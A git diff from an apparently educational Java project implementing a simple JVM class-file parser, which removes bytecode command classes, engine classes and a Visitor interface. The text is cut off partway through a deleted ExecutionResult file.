diff --git a/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java b/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java
index e3375f7ddd..c207540570 100644
--- a/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java
+++ b/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java
@@ -11,11 +11,11 @@
 public class LocalVariableTable extends AttributeInfo{
 
 	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
+	
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
+		super(attrNameIndex, attrLen);		
 	}
-
+	
 	public static LocalVariableTable parse(ByteCodeIterator iter){
 		int attrNameIndex = iter.nextU2ToInt();
 		int attrLen = iter.nextU4ToInt();
@@ -38,19 +38,8 @@ public static LocalVariableTable parse(ByteCodeIterator iter){
 		return lvTable;
 	}
 	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);
-	}
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
+		this.items.add(item);		
 	}
+	
+	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java b/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java
index eafc13a4a9..c36e1940b1 100644
--- a/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java
+++ b/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java
@@ -80,42 +80,13 @@ public void print(){
 
 	}
 
-	public String getClassName(){
+	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	public String getSuperClassName(){
+	private String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
-
-	public Method getMethod(String methodName, String paramAndReturnType){
-
-		for (Method m : methods) {
-			int nameIndex = m.getNameIndex();
-			int descIndex = m.getDescriptorIndex();
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descIndex);
-
-			if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
-				return m;
-			}
-		}
-
-		return null;
-	}
-	public Method getMainMethod(){
-
-		for (Method m : methods) {
-			int nameIndex = m.getNameIndex();
-			int descIndex = m.getDescriptorIndex();
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descIndex);
-			if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
-				return m;
-			}
-		}
-		return null;
-	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/BiPushCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index 4126097c3f..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/ByteCodeCommand.java b/group24/448641125/src/com/donaldy/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a611d4273b..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,130 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-
-	public abstract void execute(StackFrame frame,ExecutionResult result);
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/CommandParser.java b/group24/448641125/src/com/donaldy/jvm/cmd/CommandParser.java
deleted file mode 100644
index b43e0d3a06..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,158 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.donaldy.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		if ((codes == null) || (codes.length() == 0)) {
-			throw new RuntimeException("the orignal code is not correct!");
-		}
-
-		codes = codes.toUpperCase();
-
-		CommandIterator iter = new CommandIterator(codes);
-		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
-
-		while (iter.hasNext()) {
-			String opCode = iter.next2CharAsString();
-
-			if (new_object.equals(opCode)) {
-				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
-
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (invokespecial.equals(opCode)) {
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (invokevirtual.equals(opCode)) {
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (getfield.equals(opCode)) {
-				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (getstatic.equals(opCode)) {
-				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
-
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (putfield.equals(opCode)) {
-				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (ldc.equals(opCode)) {
-				LdcCmd cmd = new LdcCmd(clzFile, opCode);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (bipush.equals(opCode)) {
-				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
-
-				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
-				cmds.add(cmd);
-			} else {
-				throw new RuntimeException("Sorry, the java instruction " + opCode + "has not been implement.");
-			}
-		}
-
-		calcuateOffset(cmds);
-
-		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-		cmds.toArray(result);
-		return result;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/GetFieldCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 6644fe958d..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-	
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/GetStaticFieldCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 7b4cc9896f..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ClassInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.constant.FieldRefInfo;
-import com.donaldy.jvm.constant.UTF8Info;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/InvokeSpecialCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index b646011143..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.constant.MethodRefInfo;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/InvokeVirtualCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index 8b51e481af..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-	}
-	
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/LdcCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/LdcCmd.java
deleted file mode 100644
index d55d8ef409..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.constant.StringInfo;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-	
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/NewObjectCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 2a30581935..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-	
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/NoOperandCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index c664210eda..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/OneOperandCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 9a1709a9c7..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/PutFieldCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 9bf85ba44f..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.engine.ExecutionResult;
-import com.donaldy.jvm.engine.StackFrame;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-
-
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/TwoOperandCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 1d38c8ed3f..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.donaldy.jvm.cmd;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ClassInfo;
-import com.donaldy.jvm.constant.ConstantInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.constant.FieldRefInfo;
-import com.donaldy.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java
index cbf71927be..71f31261e4 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java
@@ -21,8 +21,4 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java
index ff2a27bcd6..20cad6fcd5 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java
@@ -26,15 +26,4 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java b/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java
index 1698c2c657..77bdfc8e67 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java
@@ -23,9 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public int getSize() {		
+	public Object getSize() {		
 		return this.constantInfos.size() -1;
 	}
-	
-	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java
index ffd7b835e0..6a6f72f5da 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java
@@ -51,8 +51,4 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java
index b370eff575..e65135279f 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java
@@ -49,11 +49,6 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
 	
 	
 	
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java
index db48418b57..21ecd2b411 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java
@@ -42,10 +42,4 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java
index 74e491637f..3a2cc11017 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java
@@ -9,9 +9,5 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
 	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java
index 94325bfdbc..f59d34a497 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java
@@ -22,11 +22,5 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
 	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java b/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java
index 10c06dcf2a..7432e5b6c4 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java
@@ -26,11 +26,6 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
 	
 	
 
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/ExecutionResult.java b/group24/448641125/src/com/donaldy/jvm/engine/ExecutionResult.java
deleted file mode 100644
index c90cc8fc65..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/ExecutionResult.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.donaldy.jvm.engine;
-
-import com.donaldy.jvm.method.Method;
-
-public class ExecutionResult {
-	public static final int RUN_NEXT_CMD = 1;
-	public static final int JUMP = 2;
-	public static final int EXIT_CURRENT_FRAME = 3;
-	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
-	
-	private int nextAction = RUN_NEXT_CMD; 
-	
-	private int nextCmdOffset = 0;
-	
-	private Method nextMethod;
-	
-	public Method getNextMethod() {
-		return nextMethod;
-	}
-	public void setNextMethod(Method nextMethod) {
-		this.nextMethod = nextMethod;
-	}
-
-	
-	
